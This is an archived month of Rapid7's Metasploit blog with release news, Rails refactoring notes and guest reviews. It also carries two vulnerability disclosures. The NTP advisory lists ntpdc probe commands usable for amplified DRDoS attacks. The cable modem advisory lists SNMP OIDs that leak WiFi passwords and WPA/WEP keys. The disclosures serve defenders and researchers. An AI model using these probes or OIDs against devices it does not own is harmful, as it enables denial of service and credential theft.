Skip navigation
All Places > Metasploit > Blog > 2014 > August
2014

Since we Last Left Our Heroes...

Wow, it's been a busy couple weeks here, post-DefCon/Black Hat. As you no doubt have noticed, we released Metasploit 4.10, which brings some major architectural changes to how our brute force login scanners are written, run, and logged -- you can read up on all that over at Dave TheLightCosine Maloney's delightful documentation, Creating Metasploit Framework LoginScanners to see how to write and use the new login and credential APIs.

 

Along with this, we've also converted the Metasploit Framework into a fully-fledged Rails::Application, which itself is kind of huge. This should allow for much easier integration with other Ruby projects -- most notably, testing frameworks (let's cut down on regressions and bitrot) and opens the door for a gem-based distribution system for modules and module packs (yes, this is as rad as it sounds). If you're interested in the guts of how Metasploit Framework works now, take a look at Luke KronicDeth Imhoff's blog post about this significant upgrade.

 

A Great Big Pile of HOWTO

Also during 4.10, we've been revisiting a lot of the documentation of how to write specific kinds of Metasploit modules -- and by "we," I mean Wei sinn3r Chen, the world-reknowned and -feared superhacker with over 200 direct credits on Metasploit modules and input on well over a thousand. If you're just starting your exploit dev career, or if you've been at it for a while, these resources will be crazy valuable for you. The latest material includes:

 

 

Sinn3r goes on to provide a lot of detail for major types of modules, such as web browser exploits and file format exploits, as well as typical chunks of modules, such as the check() method and using Railgun, Meterpreter's interface with the Windows core API. If you're troubled or confused about some area of Metasploit module writing after reading these, then feel free to offer suggestions and ask questions on our open source developer's Freenode channel, #metasploit.

 

Distributed, Reflective Denial of Service with NTP

Earlier this week, we also released five new auxiliary modules that can be used to audit your NTP infrastructure, This is Kind of a Big Deal -- given these common exposures in NTP and the nature of UDP-based communications, it can become trivially easy for an attacker to start flooding victims by using these mis-configured devices as amplification stations, leading to a distributed, reflective denial of service (DRDoS) attack.

 

DRDoS events are slightly different than just regular DDoS events. Instead of an attacker controlling a network of compromised and/or controlled hosts, the attacker uses the reflective and amplication "features" of spoofable services. The old "Smurf" attack is a classic example of this attack, where I pretend to be you and ping the broadcast address of some other network, resulting in lots of reply messages sent your way that you didn't ask for. In this way, one ICMP ping packet from me could turn into a few hundred ping response packets for you.

 

The ICMP Smurf attack rarely works any more - pipes are bigger and broadcast domains that respond to ping are few. People just don't respond to ping like they used to. NTP, on the other hand, is the Network Time Protocol, used to keep computers in sync, is listening all over the place, and is kind of hugely important for things like authentication and certificate revocation, so it's definitely a critical chunk of Internet architecture. Turns out, vulnerable NTP servers are also plenty available for attackers -- as Jon wrote, Rapid7's Project Sonar has identified over 65,000 hosts that appear to be capable of aiding attackers in amplified, reflective attacks.

 

For lots more detail on these vectors, and advice on how to protect your own network, check out Jon's blog post on R7-2014-12: NTP Amplication Attacks.

 

New Modules

Since the release of Metasploit 4.10, we've added 20 new modules, including the aforementioned NTP scanners, as well as a command injection exploit for Yokogawa-manufactured Human Interface Stations (discussed at DefCon by yours truly and Jim CipherLaw Denaro) and of course a whole pile of other tools for your pen-test bag of tricks. Enjoy!

 

Exploit modules

 

Auxiliary and post modules

 

For additional details on what's changed and what's current, please see Chris Doughty's most excellent release notes, as well as last week's release notes. which covers the period immediately following the 4.10 release.

Life-as-a-double-agent-cropped.jpgLike a double agent who's been turned, I switched from the offensive to the defensive side this week. After four years of working on Metasploit simulating attackers, I'll now be hunting them with UserInsight, Rapid7's new incident detection and response solution that helps organizations detect intruders on their network.

 

Working on Metasploit for the past four years definitely taught me a lot about attacker methodologies and the attacker mindset. I'm now a more paranoid person for it, which will be a huge help when hunting the bad guys going forward.

 

I've had a blast work with an awesome team of security researchers, including @todb, @_sinn3r, @_juan_vazquez_, @TheLightCosine, "the man who never sleeps" aka @hdmoore, and many extremely talented coders who are a little less in the limelight but are among the best in their field. Together, we released Metasploit Pro, Metasploit Community, Metasploit on Kali Linux (special shout out to Brandon, Dookie, Muts), and many cool new features, including our recent release, which focused on credentials.

 

I'd also like to thank our Metasploit open source contributors (you guys are the the reason Metasploit is so well respected and widely used), the folks who participated in the Metasploit T-shirt design competition (my wardrobe is full of them), and @dualcoremusic for writing and performing the Metasploit track (he tried hard, but I could never quite pull off the B-Boy Pose).

 

Because we've been playing musical chairs here at Rapid7, some very cool roles opened up. Throw your hat in the ring if you're interested:

 

Don't be shy - contact me on LinkedIn if you have additional questions on any of the roles or on UserInsight. Always happy to chat!

In Metasploit 4.10, we converted Metasploit Framework (and prosvc in Metasploit Commercial Editions) to be a full-fledged Rails::Application.  You may be wondering why Metasploit Framework and prosvc, should be Rails applications when they aren't serving up web pages.  It all has to do with not reinventing the wheel and very useful parts of Rails, Rails::Railtie and Rails::Engine.

Rails 3.0 infrastructure

Since Rails 3.0, Rails has been broken into multiple gems that didn't require each other and could be used or not used.

  • actionmailer
  • actionpack
  • activerecord
  • activeresource
  • activesupport

Rails::Railtie

To tie all these gems together, and allow other gems too be used in their place, a gem, railties, sits at the bottom of rails and supplies the infrastructure to connect different Rails::Railties together.  For our purposes we care about two features of Rails::Railtie

  1. Allow rake tasks defined in other gems to be called.
  2. Allow initializers to be defined in a set order.

Rails::Engine

On top of Rails::Railtie is built Rails::Engine, which is where a lot of the conventions that are thought of as Rails Conventions reside:

  1. standardized paths like lib and app/models.
  2. Automatic code loading (when we follow standard naming conventions that make directories correspond to namespace and Classes be files).

Rails::Application

Finally, on top of Rails::Engine sits a single Rails::Application, which is in charge of running all the initializers from the Rails::Railties and Rails::Engines. Without a Rails::Application the initializers won't automatically run and functionality from Rails ecosystem gems is lost.

Working around not having a Rails::Application before 4.10

In Metasploit Framework 4.9 we had to work-around not having access to (Railtie 1) by manually loading the yard rake task from metasploit_data_models.  We used the yard.rake defined in metasploit_data_models so we didn't have to duplicate code.  Eliminating duplicate code is a long term goal of my work on Metasploit Framework as a smaller code base is easier to maintain (because it's faster to test and easier to developers to understand) and we don't run the risk of fixing bugs in one copy of the code, but not the others.

Additionally, we had to port (i.e copy and slightly change which mean we won't be able to just grep for duplicates) portions of activerecord's databases.rake to support all the rake db* commands used to test against the database with rspec for Metasploit Framework 4.7.

We couldn't take advantage of (Railtie 2) because initializers are only run by Rails::Application#initialize! and Metasploit Framework didn't have a Metasploit::Framework::Application, which meant we couldn't take advantage of Rails community helpers like factory_girl_rails to automatically load factories in tests or rspec-rails to manage transactions for tests.  Not having transactions has led to lot of hard to track down bugs with database records from one test interfering with another test.

In Metasploit Commercial Editions 4.9, we were already using a Rails::Engine in MetasploitDataModels::Engine to automatically load the Mdm models in the UI, but since Metasploit Framework 4.9 and prosvc didn't support Rails::Engines, we had to duplicate the code logic .  Duplicate code means both code paths need to be tested and since this code path was only exercised in Metasploit Framework and prosvc, any changes to loaded code needed to be tested all the way up the stack through Metasploit Framework and prosvc. All of these complexities added up to slower development on metasploit_data_models.

Impetus for adopting Rails::Application

As you can see, there was a lot of duplicate code cruft building up to support the non-Rails::Application environments in Metasploit Framework and prosvc, which came to a breaking point when we decided to make metasploit-credential.

metasploit-credential sits on top of metasploit_data_models and defines credentials models in the Metasploit::Credential namespace.  These models aren't part of metasploit_data_modelsfor the following reason:

  1. Better understandability because developers don't have to know which parts of metasploit_data_models to ignore when dealing with credentials.
  2. Faster tests because metasploit-credential can be tested independently of metasploit_data_models.
  3. Cleaner API and versioning because metasploit-credential will only change if there's a change to credential's API and not any change in database API as would be the case with metasploit_data_models containing the credentials code.

Due to ActiveRecord associations being declared on each side of the relationship, metasploit-credential would need to be able to monkey patch inverse associations onto metasploit_data_models like Mdm::Service to associate it back to Metasploit::Credential::Login.  In Ruby, monkey patching can be accomplished a number of ways

  1. Reopen the class
  2. class_eval
  3. extend a Module
  4. include a Module

(1) and (2) have a downside that it's very hard to keep track of the monkey patches since Ruby doesn't keep track where a Class is defined (or redefined).  (The closest it can do is give the source location of a method.) So, (1) and (2) aren't good solutions as they drive anyone that works on the code later crazy.  (3) and (4) are good, but the problem is how to ensure the extend and include calls happen dynamically when the class to be monkey patched is loaded.

It turned out we already had a specific solution in Metasploit Commercial Editions for loading modules from pro/ui/lib/mdm to add Metasploit Commercial Editions monkey patches to Mdm models, but the problem was that it depended on running Rails initializer, which wouldn't work in metasploit-framework and only worked in prosvc because it manually loaded the initializer and ran it as a script at the appropriate point in the prosvc startup.  So, we were left with either implementing both an elegant Rails solution using its initializers and a port to work for Metasploit Framework and prosvc to support metasploit-credential extensions to metasploit_data_models or making Metasploit Framework and prosvc be Rails::Applications so they could run initializers like Metasploit Commercial Editions' UI.  I chose making Rails::Applications.

Converting to Rails::Applications

Converting to Rails::Applications allowed to me to do one of the best things you can do in a commit: delete more code than you add.

We were able to completely remove lib/tasks/database.rake and lib/tasks/rails.rake, which means we no longer have to watch out for changes to those in upstream activerecord.  We're using them from active_record/railtie now!  Other rake tasks are now defined by *-rails gems, like rake spec from rspec-rails, which also gave us transactional fixtures, which means that specs will automatically start and rollback database transactions after each example.  factory_girl_rails automatically loads the factories from metasploit-credential, and metasploit-model, metasploit_data_modelsyard.rake is automatically loaded from metapsloit_data_models just because it's under lib/tasks!

Having Metasploit::Framework::Application also gave all these other side benefits: rails console can be used to access the Mdm and Metasploit::Credential models without having to boot msfconsole and then running irb.  You can access the SQL prompt for the database directly with rails db.

What does all this have to do with Kali?

So, when a Rails::Application boots, it needs to opt-in to requiring the railties from the core gems, including active_record/railtie.  While 4.10 was in development, the Metasploit Applications team developed with active_record/railtie always being loaded as it ensured that the database was connected and ActiveRecord::Base.logger was setup, which made triage and debugging easier; however, we knew eventually that requiring active_record/railtie would have to be optional based on whether the db Gemfile group was installed and whether the -n (disable database) flag was passed to msfconsoleSince I was handling users that didn't install database support at all or turned it off with -n, I thought we were covered for the 4.10 release and this is the state of the boot process that shipped.

It turned out that although Kali documents to start postgresql and setup a ~/.msf4/database.yml, many users hadn't found that documentation and so were starting msfconsole without a database.yml and/or without postgresql running, but without the -n flag.  Not having a database.yml led to the ENOENT error everyone was seeing since Metasploit::Framework::Application tried to read the non-existent database.yml when the database wasn't disabled.  James "egypt" Lee and I worked to fix this and egypt came up with checking if the file exists before trying to load active_record/railtie.  This fixed the issue of no database.yml, but not having a database.yml and postgresqlnot started.  Egypt and I discussed various ways around this, but it came down to adding a lot of error detection and making a direct connection using the low-level PGConn from the pg gem so we could test the database.yml could connect to the database OR never requiring active_record/railtie. We went with not requiring active_record/railtie.  Now, in 4.10.1, the database connection is just made by msfconsole how it had been in 4.9. We lost ActiveRecord::Base.logger setup in rails console and msfconsole, but those were new additions for Metasploit Framework 4.10 anyway, so it was an acceptable loss to get Kali's msfconsole to boot under excepted configuration scenarios and led to a more robust boot process.  If we want to restore the logger for the next release we can look into moving the error handling out of msfconsole into a place that the Rails boot can use it.

Goodies for the future

To leave on a brighter note, here some cool features of having access to Rails.application we hope to use in the future or that anyone in the community can use.

Since a Rails::Application can iterate the Rails::Engines plugged into it, we made migrations automatically load from any Rails::Engine we add to the metasploit ecosystem. Meterpreter extensions are also copied from Rails::Engines .  Finally module paths from Rails::Engines are automatically added to framework.modules

That's right, you make a gem with a Rails::Engine and put it in your Gemfile.local and metasploit-framework will treat it just like the normal metasploit-framework/modules.  We hope to use this ability in the future to break up the modules into target-specific gems so as the number of modules grow users can choose which loadouts they want for a given engagement.  This will make it easier to keep running metasploit-framework on small form factor devices with limited space.

Overview

 

As part of Rapid7 Labs' Project Sonar, among other things, we scan the entire public IPv4 space (minus those who have opted out) looking for listening NTP servers.  During this research we discovered some unknown NTP servers responding to our probes with messages that were entirely unexpected.  This lead to the writing of an NTP fuzzer in Metasploit in the hopes of understanding what NTP implementations would respond in this or other anomalous manner in various configurations.  This, in turn, resulted in finding six previously unpublished vulnerabilities in NTP Project's NTP implementation. One of these is similar in terms of severity to the NTP MON_GETLIST amplification vulnerability described in CVE-2013-5211 that was the source of record-sized DRDoS attacks in late 2013 and early 2014.  All NTP instances vulnerable to CVE-2013-5211 are likely also vulnerable to these six new vulnerabilities, putting the number of public, vulnerable systems at approximately 65,000 based on a recent analysis.

 

Background

 

To fully grasp these vulnerabilities it is important to have a brief understanding of the technology in question (NTP), the vulnerability type (traffic amplification) and the attacks that frequently result from the abuse of these vulnerabilities (DRDoS).

 

NTP is the Network Time Protocol and serves to keep the clock of a computer system in sync.  Properly synchronized clocks play a critical role in logging, authentication, cryptography and general system sanity, and as such NTP can be found in some manner in nearly all environments.  NTP has been evolving for over 30 years and has seen four revisions its protocol.  While there are numerous NTP implementations for both clients and servers, the NTP software provided by the Network Time Foundation's Network Time Protocol project powers the vast majority.

 

A traffic amplification vulnerability occurs when the number or size of any resulting responses is greater than that of the initiating request.  These types of vulnerabilities are nearly exclusively limited to just UDP protocols and see frequent enough abuse to justify a notice from US-CERT.  When discussing traffic amplification vulnerabilities, an amplification factor is used to describe the relationship between the total size or total number of responses as compared to that of the original request.  For example, a vulnerability where a single 1-byte UDP message results in 3 responses of arbitrary size can be said to have a 3x packet amplification factor.  Similarly, a vulnerability where a single 8-byte UDP message results in an 800-byte response can be said to have a 100x bandwidth amplification factor.

 

Distributed Reflective Denial of Service (DRDoS) attacks abuse traffic amplification flaws to overwhelm third-party targets.  In a typical attack, an attacker will forge UDP packets with a source address of their intended target and a destination address of the system vulnerable to traffic amplification.  With enough traffic amplifiers, because the number or size of each resulting response is larger than that of the forged request, a target can very quickly become overwhelmed with the responses coming from the affected UDP service.  While DRDoS attacks continue to be effective, they generally only exploit vulnerabilities where the traffic amplification factor is large enough to overwhelm the target.

 

This particular disclosure describes traffic amplification vulnerabilities in the Network Time Protocol project's NTP implementation that could be used in DRDoS attacks.

 

Vulnerabilities Summary

 

More detail is available below, however the summary is:

 

  1. NTP mode 7 (private) PEER_LIST (0), PEER_LIST_SUM (1) and GET_RESTRICT (16) requests are vulnerable to traffic amplification and can be used to conduct DRDoS attacks
  2. NTP mode 6 (control) CTL_OP_REQ_NONCE (12) and UNSETTRAP (31) requests are vulnerable to traffic amplification and can be used to conduct DRDoS attacks
  3. NTP mode 7 (private) GET_RESTRICT requests can be used to conduction information disclosure attacks and obtain the internal ACL configuration of vulnerable NTP instances (CVE-2014-5209)

 

The NTP Project currently plans to fix these specific vulnerabilities but no release date for these changes has been published. However, as of version 4.2.7p230, released in November 2011, mode 7 responses are disabled by default.  Furthermore, numerous resources that have been available for years that describe how to properly secure an NTP instance and can be used to provide adequate compensating controls to protect against all of these vulnerabilities.  This means that any instances running versions newer than 4.2.7p230 should be sufficiently protected by default unless explicitly configured otherwise, and nearly all NTP versions can be protected when properly configured.  Operators of NTP servers should ensure that mode 6 and mode 7 requests are allowed only if absolutely necessary and from trusted entities using a secure NTP configuration.


Victims of resulting DRDoS attacks should apply the same countermeasures recommended for CVE-2013-5211 and similar DoS/DDoS attacks.  Everyone is encouraged to comply with BCP38 which can help in preventing traffic amplification vulnerabilities from being exploited in the first place.

 

 

Disclosure Timeline

 

  • Thu, Jun 19, 2014: Issue discovered and advisory written
  • Fri, Jun 20, 2014: Vendor PGP contact details sought
  • Wed, Jul 9, 2014: Issue disclosed to CERT/CC
  • Sun, Aug 3, 2014: Contact established with NTP.org
  • Mon, Aug 4, 2014: Updated advisory sent to NTP.org
  • Mon, Aug 25, 2014: Public disclosure

 

Technical Analysis

 

R7-2014-12.1 -- NTP Project Mode 7 PEER_LIST (0) Traffic Amplification

 

An NTP private (mode 7) message for the XNTPD_OLD (2) and XNTPD (3) implementation with the PEER_LIST (0) request code will return the list of all hosts that a given NTP server is peering with. Depending on the number of peers, an NTP server's response can be large and potentially spread over many packets.  The more peers in use, the larger the response will be.

 

Because both the number and size of the packets sent as the response can be greater than that of the original request, this can be used to conduct a DRDoS attack against third parties using vulnerable NTP servers.  The traffic amplification factor for this is slightly less than half of CVE-2013-5211 because each peer contributes 32 bytes to a response rather than MON_GETLIST_1's 72.  In most situations the amplification will actually be much less because it is a function of how many NTP servers a given NTP instance peers with, and most configurations peer with 3-5 peers.  With 5 peers, the bandwidth amplification factor is 17x and there is no packet amplification.

 

Versions as new as 4.2.7p465, released this month, and as old as 4.2.7p25 from April of 2010 have been confirmed to be vulnerable, but only when querying is allowed and mode 7 messages are enabled.  Older versions may be vulnerable, however it is unclear when this functionality was originally added.

 

This can be seen by running the ntp_peer_list_dos Metasploit module:

peer_list.png

Or utilizing the ntpdc command:

ntpdc -nc listpeers <host>

R7-2014-12.2 -- NTP Project Mode 7 PEER_LIST_SUM (1) Traffic Amplification

 

This vulnerability is identical to R7-2014-12.1 except for the fact that the response to a PEER_LIST_SUM request also includes metadata to describe each peer (stratum, clock delay, etc), making each response larger than an equivalent PEER_LIST response.  While it is similarly limited by the generally low number of peers in use on most NTP servers, theoretically the traffic amplification is on-par with the MON_GETLIST_1 vulnerability because each peer entry contributes 72 bytes to the response.  In the recommended minimum setup of 5 peers, a 46x bandwidth amplification is possible but there is no packet amplification.

 

This can be tested by running the ntp_peer_list_sum_dos Metasploit module:

peer_list_sum.png

Or utilizing the ntpdc command:

ntpdc -nc peers <host>

R7-2014-12.3 -- NTP Project Mode 7 GET_RESTRICT (16) Traffic Amplification

 

An NTP private (mode 7) message for the XNTPD_OLD (2) and XNTPD (3) implementation with the GET_RESTRICT (16) request code will return the list of hosts/networks that have particular restrictions applied to them.  Depending on the number of restrictions applied, an NTP server's response can be large and potentially spread over many packets.  The more restrictions applied, the larger the response will be.

 

Because both the number and size of the packets sent as the response can be greater than that of the original request, this can be used to conduct a DRDoS attack against third parties using vulnerable NTP servers.  Each restriction applied in an NTP server contributes 56 bytes to the resulting response, but much like with the other vulnerabilities described so far there are practical limitations.  In most situations, NTP servers will only have a handful of restrictions and is likely a function of the number of peers in use, resulting in a traffic amplification similar to R7-2014-12.2

 

Versions as new as 4.2.7p465, released this month, and as old as 4.2.7p25 from April of 2010 have been confirmed to be vulnerable, but only when querying is allowed and mode 7 messages are enabled. Older versions may be vulnerable, however it is unclear when this functionality was originally added.  xntp3 5.93e from 1998, for example, appears to have similarly vulnerable code.

 

This can be tested by running the ntp_reslist_dos Metasploit module:

reslist.png

Or utilizing the ntpdc command:

ntpdc -nc reslist <host>

R7-2014-12.4 -- NTP Project Mode 7 GET_RESTRICT (16) Information Disclosure


As described in R7-2014-12.3, the GET_RESTRICT message returns the list of hosts/networks that have particular restrictions applied to them. This is the equivalent of an ACL and should be considered sensitive because it can:

 

  • Disclose the internal or alternative IP addresses and/or networks used by the NTP server
  • Disclose any other networks or hosts that have unique, possibly more lax restrictions applied when communicating with this NTP server, potentially showing further attack vectors

 

This vulnerability applies to the same versions affected by R7-2014-12.3 with the same exploitability caveats and exploitation steps, and has been assigned CVE-2014-5209.

 

R7-2014-12.5 -- NTP Project Mode 6 CTL_OP_REQ_NONCE (12) Traffic Amplification

 

An NTP control (mode 6) message with the CTL_OP_REQ_NONCE (12) opcode will generate a single reply that is larger (44 bytes) than the request (12 bytes).  Because the size of the packet sent as the response is greater than that of the original request, this can be used to conduct a DRDoS attack against third parties using vulnerable NTP servers but only with a small 4x bandwidth amplification factor.

 

This vulnerability was introduced in 4.2.7p26, the release that originally fixed CVE-2013-5211. All 4.2.7 versions after this are vulnerable, but, again, only when querying is allowed.

 

This can be tested by running the ntp_req_nonce_dos Metasploit module:

nonce.png

R7-2014-12.6 -- NTP Project Mode 6 UNSETTRAP (31) Traffic Amplification

 

An NTP control (mode 6) message with the UNSETTRAP (31) opcode with an unknown association identifier will cause NTP to respond with two packets -- one error response packet indicating that the association identifier was invalid followed by another non-error, largely empty response. Because the number of packets sent as the response is greater than the single packet request, this can be used to conduct a DRDoS attack using vulnerable NTP servers as the unwitting third parties with a 2x packet amplification factor and a 3-4x bandwidth amplification factor.

 

This vulnerability applies to the same versions affected by R7-2014-12.1 with similar exploitabiity caveats, however more testing needs to be done.

 

This can be tested by running the ntp_unsettrap_dos Metasploit module:

unsettrap.png

Conclusions and Recommendations

While it would be nice for these vulnerabilities to be fixed, the reality may be that they cannot be fixed without non-trivial modifications to the protocol such that the vulnerability is removed (for example, by enforcing request size/count >= response size/count) or adequate mitigating controls are put in place (such as a session identifier or other unique request identifier).  Barring changes of this magnitude, operators of NTP servers should continue to heed the advice that the Network Time Prototcol Project, openntpproject.org, Team CYMRU and others that have been giving for years and deploy NTP configurations that properly restrict querying and anything related to mode 6 or 7 messages.  At the end of the day, the messages in question are purely for valid administrative purpose and SOP should be that these administrative capabilities be properly restricted.

 

Modules for detecting these vulnerabilities will be landed in Metasploit today and the corresponding coverage in Nexpose will come with this week's release on Wednesday, August 27.

This week, Christian Kirsch enlightened us about the latest trend in attacker methodologies: Credentials. In the webcast, "Credentials are the New Exploits: How to Effectively Use Credentials in Penetration Tests", we learned why credential abuse is in vogue, and what penetration testers can do to tackle this head on with as much efficiency and proficiency as possible so that risk assessment quality doesn't suffer. In case you missed it, here are some of the top takeaways from the session:

   

  1. Productivity, hurt by creds management, is critical for solving security problems Credential management has been a very manual and time intensive process thus far. It creates a lot of inefficiencies and pain for penetration testers, therefore increasing risk and decreasing productivity. To solve this, you must either hire more penetration testers, (not an easy feat, such a specialized skill set!) or help the penetration testers at hand become more efficient. More efficient penetration testers means more thorough risk assessments and/or more risk assessments completed in general.
  2. Credential management can be simplified and streamlined After speaking with internal and external penetration testers struggling to manage credentials, Rapid7 made it a priority to simplify the process. Penetration testers can now use Metasploit Pro to manage, validate, re-use, and report on credentials. Clear and concise reports will track everything a penetration tester is doing on a job so that actions taken and findings are comprehensively laid out at the end of an assessment. Automating credential management and reporting will allow penetration testers more time to use their brain power and unique skill set to anticipate new attack vectors and to think about how to stop attackers. They'll be better equipped to give the best risk assessment and recommendations possible to customers on how to secure their environments at the end of a job.

 

To learn about and see a demonstration on how you can use credentials in penetration tests to better secure and assess your networks: view the on-demand webcast now.

sean-duffy-video-still.pngBy guest blogger Sean Duffy, IS Team Lead, TriNet

 

Rapid7 invited me to participate in pre-release testing of Metasploit 4.10, a process they call Tech Preview. They asked me to openly share my thoughts with the community.

 

Preparation and Logistics

I always enjoy working with Rapid7. Preparatory meetings and documentation made the installation and testing process a breeze. Rapid7 was also kind enough to extend my testing and feedback sessions when work so rudely intruded on the fun. Zero complaints.

 

New Features

Testing focused on improvements in Metasploit Pro’s credential management.  Metasploit Pro now contains a new Credentials menu that includes credential management. It offers one-stop shopping to

  • Find previously obtained credentials from exploitation
  • Clone and modify existing credentials
  • Add new credentials
  • Validate credentials by testing where they work

 

I liken the functionality a bit to credential management for sites in Nexpose. It is quite handy to have this screen for managing all the credentials for all the hosts in a project.  In addition, there is new reporting specific to credentials, AND a John the Ripper module is now available with Metasploit (if you don’t have it already). Christian Kirsch provides a detailed review of the functionality in his release blog post now available on ‘The Street.’

 

My testing did find a few bugs, but most were addressed by the end of the Tech Preview. I also went a bit off the reservation to see if there were changes or improvements in other areas such as vulnerability validation and phishing campaigns. Nope – all worked as before.

 

Conclusion

I believe that this functionality will facilitate penetration testing by making access to credentials much easier to access and verify. I hope that it serves as a springboard to future functionality (such as interfacing with Nexpose and credentials stored there). And if Rapid7 is able to provide more effective methods of testing against websites with credentials, I will be eternally grateful.

 

Thanks, Rapid7. I look forward to what comes next!

 

Note from Rapid7: Hear Sean talk on this video about how he uses Metasploit Pro and Nexpose at Trinet (also linked from the video still on this post)

Today, Rapid7 would like to disclose a pair of newly discovered vulnerabilities around consumer and SOHO-grade cable modems, the Arris DOCSIS 3.0 (aka, Touchstone cable modems) and Netmaster Wireless Cable Modems. Both exposures were discovered by Rapid7's Deral Percent_X Heiland and independent researcher Matthew Kienow. The duo plan to discuss these and other common vulnerabilities and configuration issues at DerbyCon near the end of September. In the meantime, let's explore each of these issues in turn.

 

R7-2014-13: Arris DOCSIS Exposure (CVE-2014-4863)

Affected Devices

ARRIS DOCSIS 3.0 /  Touchstone Wideband Gateway. These devices can be fingerprinted as:

 

HW_REV: 3; VENDOR: Arris Interactive, L.L.C.; BOOTR: 2.3.1; SW_REV: 7.10.131; MODEL: DG950A.

 

The devices are manufactured by ARRIS, Information about the company can be found on their website, and the technical specifications of the affected device can be found here (PDF).

 

Vulnerability Description

 

By default this device was found exposing critical information via SNMP public community string. According to Shodan over 50,000 of these devices are exposing SNMP to the internet. This brand device has been found to be leaking the following wifi configured information:

 

---PASSWORD

1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0

 

---SSID

1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2.12

 

---WPA PSK

1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12

 

---WEP

 

WEP 64-bit Network Keys

    Key 1: 1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.1

    Key 2: 1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.2

    Key 3: 1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.3

    Key 4: 1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.4

 

 

WEP 128-bit Network Keys

    Key 1: 1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.1

    Key 2: 1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.2

    Key 3: 1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.3

    Key 4: 1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.4

 

Disclosure Timeline

 

DateDescription
June 5, 2014 (Thu)Issue discovered and advisory written
June 20, 2014 (Fri)Vendor contact details sought
July 9, 2014 (Mon)Issue disclosed to CERT/CC
August 15, 2014 (Fri)CVE assigned by CERT/CC
August 21, 2014 (Thu)Details published

 

 

R7-2014-14: Netmaster Wireless Cable Modem Exposure (CVE-2014-4862)

 

Affected Devices

Netmaster Wireless Cable Modem. These devices can be fingerprinted as:

 

HW_REV: 1.0; VENDOR: TEKNOTEL; BOOTR: 2.3.1; SW_REV: 81.447.392110.729.024; MODEL: CBW700N

 

The devices are manufactured by Netmaster, Information about the company can be found on their website (Turkish), and these devices are primarily in use in Turkey.

 

Vulnerability Description

By default this device was found exposing critical information via SNMP public community string. According to Shodan 258,638 of these devices are exposing SNMP to the internet. This brand device has been found to be leaking the following wifi configured information.

 

----Username

1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0

 

----Password

1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0

 

----SSID

1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32

 

---WPA PSK

1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32

 

---WEP

 

WEP 64-bit Network Keys

        * Key 1: 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.1

        * Key 2: 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.2

        * Key 3: 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.3

        * Key 4: 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.4

 

 

WEP 128-bit Network Keys

        * Key 1: 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.1

        * Key 2: 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.2

        * Key 3: 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.3

        * Key 4: 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.4

 

 

Disclosure Timeline

 

DateDescription
June 5, 2014 (Thu)Issue discovered and advisory written
June 20, 2014 (Fri)Vendor contact details sought
July 9, 2014 (Mon)Issue disclosed to CERT/CC
August 15, 2014 (Fri)CVE assigned by CERT/CC
August 21, 2014 (Thu)Details published

 

Exploit / Module Availability

Deral and Matthew intend to make Metasploit modules available to exercise these vulnerabilities near or during Derbycon in late September. In the meantime, these issues can be trivially exercised with common SNMP query tools, such as snmpwalk and the like. If you'd like to race the original researchers in producing modules specific to these issues, you are welcome to open a Pull Request for the Metasploit Framework over on GitHub.

As part of the last release, the Metasploit Engineering team here at Rapid7 has been on a path of refactoring in the Metasploit open source code in order to make it more performant and to get toward a larger goal of eventually breaking up the framework into a multitude of libraries that can be used and tested in a standalone way.

 

This effort will make it easier to deliver features and respond to issues more quickly, as well as ensure that regressions and bugs can get diagnosed, triaged, and fixed up more effectively.

 

Over the next year or so, we will be making drastic improvements in the loading, speed, and content reasoning capabilities of the framework, driving huge improvements to the features that our community members love and use every day.

 

Of course, we have several years worth of often uncharted territory in the code to convert, and this process of modernizing the way Metasploit does things ended up causing a mysterious and frustrating bug for new and occasional users of the Metasploit Framework.

 

Specifically, if you tried to start 'msfconsole,' which is the terminal-based UI for Metasploit, and you didn't already have a database configured to store the fruits of your exploitation adventures, the console would crash out.

 

We landed a fix to this crashy behavior yesterday in Pull Request #3666, which was reported as bug #8840 on late Friday afternoon, and this fix should hit the Kali distributions any time now.

 

Now, this bug doesn't manifest in the usual Metasploit installed environment -- after all, most penetration testers like to keep a record of what they did -- and anyone who has followed the Kali documentation on configuring a database, as well as any Metasploit contributor who has followed the MSF-DEV documentation on database config, wouldn't have noticed this problem.

 

At any rate, if bug #8840 is still affecting you, right now, you can work around the bad behavior simply by starting Metasploit with 'msfconsole -n', which is the explicit way to start without database backing. In the mean time, Rapid7 should have a fix out that restores the normal, non-explicit behavior with the impending weekly release.

 

tl;dr: Please pardon our dust while we remodel Casa de Metasploit.

By guest blogger Robert Jones, Information Security Manager, City of Corpus Christi

 

manage-creds.pngI had the opportunity to participate in a tech preview of Metasploit Pro's new credentials features. In our shop, we use Metasploit Pro, Nexpose, UserInsight and ControlsInsight, all by Rapid7. I certainly wish I could spend the majority of my time pentesting, but instead I often times I find myself using Metasploit to educate users by showing them how I can compromise their machines. It is incredibly compelling when a user sees their system owned right in front of them, at which point you have one more person more inclined to operate their systems in a more secure manner. But, raising education and awareness one user at a time is not always the best use of your company's time. It is often the case that organizations need to put some type of policy or updated procedure in place to mitigate a risk across the organization. To do this, it is often more appropriate to be able to demonstrate a risk across a larger cross-section, or even the entire organization, to put the risk into a proper context.

 

